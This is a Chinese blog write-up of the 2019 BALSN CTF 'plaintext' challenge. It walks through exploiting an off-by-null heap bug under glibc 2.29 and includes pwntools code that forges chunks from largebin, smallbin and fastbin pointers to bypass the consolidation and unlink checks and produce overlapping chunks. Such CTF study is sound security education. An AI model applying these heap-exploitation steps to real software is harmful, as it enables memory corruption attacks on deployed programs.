2019-BALSN-CTF-plaintext

文章详细介绍了如何在开启多项安全保护(如向前合并检查、堆链表保护)的环境中,利用off-by-null漏洞构造堆溢出,通过精心设计堆块、清理堆内存、伪造chunk以及利用largebin和smallbin来绕过检查,最终实现堆块的重叠。过程中涉及对malloc机制的深入理解和调试技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前几天看了这个题目的wp,但是今天自己复现的时候感觉还是很复杂,做了很久,一直会有地方错误。

详细说说这道题

先看源程序:

不点进去看了,很正常的一道菜单题,唯一的漏洞就是add处的一个off-by-null。

checksec一下

保护全开,buf叠满。

这道题我们需要绕过的保护有两个,一个是libc-2.29新加的向前合并的检查:

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

另一个是触发unlink时的保护

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以,和libc-2.23,libc-2.27的区别就在这,两个chunk之间一定是有其他堆块的,所以用老libc的方法是通不过检查的。

我们称需要进行合并的两个chunk称为frontchunk和tailchunk

首先想着要绕过检查第一步是需要想怎么才能设计size(chunk)=prevsize(tailchunk)呢,我们需要控制tailchunk的prevsize,这个好做,但是frontchunk只能用伪造size位来做,也就是伪造chunk块。

第二步是需要将frontchunk的双链表伪造好,但是程序开了pie,不可能直接输入来做到,按照wp的想法是用largebin和smallbin,fastbin的残留指针来构造双链表,我也是按这种方法来做的,但是我想了想,直接用show函数泄露堆基地址,然后根据需要加上偏移得到各个堆块的地址,然后伪造两个堆块帮其进行绕过unlink好像也能够实现。我们还是按wp的做法来。

第三步就可以改变tailchunk的prev然后将其free,就可以造成frontchunk和tailchunk之间chunk的overlapping。

思路是这样,但是实际操作和调试很复杂。

init沙盒之后会出现很多堆块,我们第一步需要做的就是清理他们

#clean
for i in range(16):#0-15
    create(0x18,'clean')
for i in range(16):#16-31
    create(0x68,'clean')
for i in range(9):#32-40
    create(0x78,'clean')
for i in range(5):#41-45
    create(0xc8,'clean')
for i in range(2):#46-47
    create(0xe8,'clean')

接下来我们需要想的是伪造带有fd和bk指针的堆块,这个时候就需要想到largebin了,其fd_nextsize和bk_nextsize指向自己指针是我们需要的,就是可以覆盖的指针,但是覆盖的话,由于页机制,我们覆盖的只能是最后一个字节,才能避开pie的影响,所以构造双链表的另外两个chunk的地址的倒数第三位和frontchunk的必须相同,所以我们需要将此时topchunk的后三位设置为0,防止进位,下面我们就调整topchunk。

create(0xd30,'a')

而倒数第四位则需要爆破了,我们改指针的时候因为存在off-by-null所以倒数第四位必须要为0,指针指向才正确,这个是我们无法控制的,所以到时候执行exp的时候需要多执行几次,通过爆破实现。

这是我从其他博客上上找到的largebin的链表图,当没有其他chunk给fd_nextsize和bk_nextsize指时,他们会指向自己。而fd和bk则会指向main_arena+?

#large bin
create(0x1500,'a')#49
for i in range(7):#50-56
    create(0x10,'a')
for i in range(7):
    delete(50+i)
delete(49)
gdb.attach(p)
pause()
create(0x2000,'a')#49

这是得到largebin的操作,create(0x1500,'a')#49这个要足够大,我们将在这里面构造frontchunk和tailchunk。

create(0x2000,'a')#49这个要比上面的大,在这里踩了很久的坑。

下面是得到largebin的情况

这个就是我们构造fakechunk的地方,也就是第二行和第三行。然后我们也需要知道,第三行只有前面的指针可以改,因为如果要改第二个指针,我们会把第一个指针覆盖掉,所以bk只能为如上指针,即双链表有一端已经确定了,现在看另一端。另一端是fd,那么fd->bk需要为此伪造chunk的地址。有bk的有smallbin chunk和largebin chunk,我们选择smallbinchunk来构造。

我们先把我们要伪造chunk的堆块malloc回来,fd和size是之后填写的

prev_size = 0
size = 0x6c1
fd = 0x70
#gdb.attach(p)
#pause()
create(0x28,p64(prev_size)+p64(size)+p8(fd))#50

然后

#small bin
for i in range(7):#51-57
    create(0x10,'a')
create(0x18,'a')#58
create(0x18,'a')#59
create(0x18,'a')#60
create(0x18,'a')#61

for i in range(7):
    delete(51+i)

delete(58)
delete(60)
gdb.attach(p)
pause()
create(0x410,'a')#51

得到如上情况,这个时候我们需要的就是smallbins中的第二个堆块,也就是下一次malloc出的堆块

所以我们之前fd = 0x70是这样来的。

for i in range(7):#52-58
    create(0x10,'a')

payload = p64(0)+p8(0x10)
create(0x18,payload)#60

将其malloc回来,p->fd->bk=p就构造好了。

for i in range(8):# 62-69
    create(0x20,'a')

for i in range(8):
    delete(i+62)
delete(50)

这一块是构造p->bk->fd=p,就是用fastbinchunk的残留指针构造的。

将fakechunk指定的bk free掉,将其放入fastbin中再malloc回来,这里要注意free的顺序,因为malloc这里面中的一个,另一个会放入tcachebins中。

or i in range(7):# 50,62-67
    create(0x28,'a')
gdb.attach(p)
pause()
create(0x28,p8(0x10))#68

将其malloc回来,并构造好。

create(0x38,'overlapping')#69
create(0x38,'a')#70
create(0x4f8,'a')#71

delete(70)
prev_size = 0x6c0
create(0x38,p64(0)*6+p64(prev_size))

gdb.attach(p)
pause()
delete(71)

接下来就是off-by-null了,70是用来off-by-null的,然后71就是victim,69是我们overlapping的chunk。0x4f8的size位为0x500,那么进行off-by-null的时候就不用伪造tailchunk的相邻下一个chunk了。同时也不会放入tcachebin中了。

然后就是算size,填prevsize和size了就不说了,然后得到了overlapping的chunk,之后的攻击就不属于off-by-null的内容了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值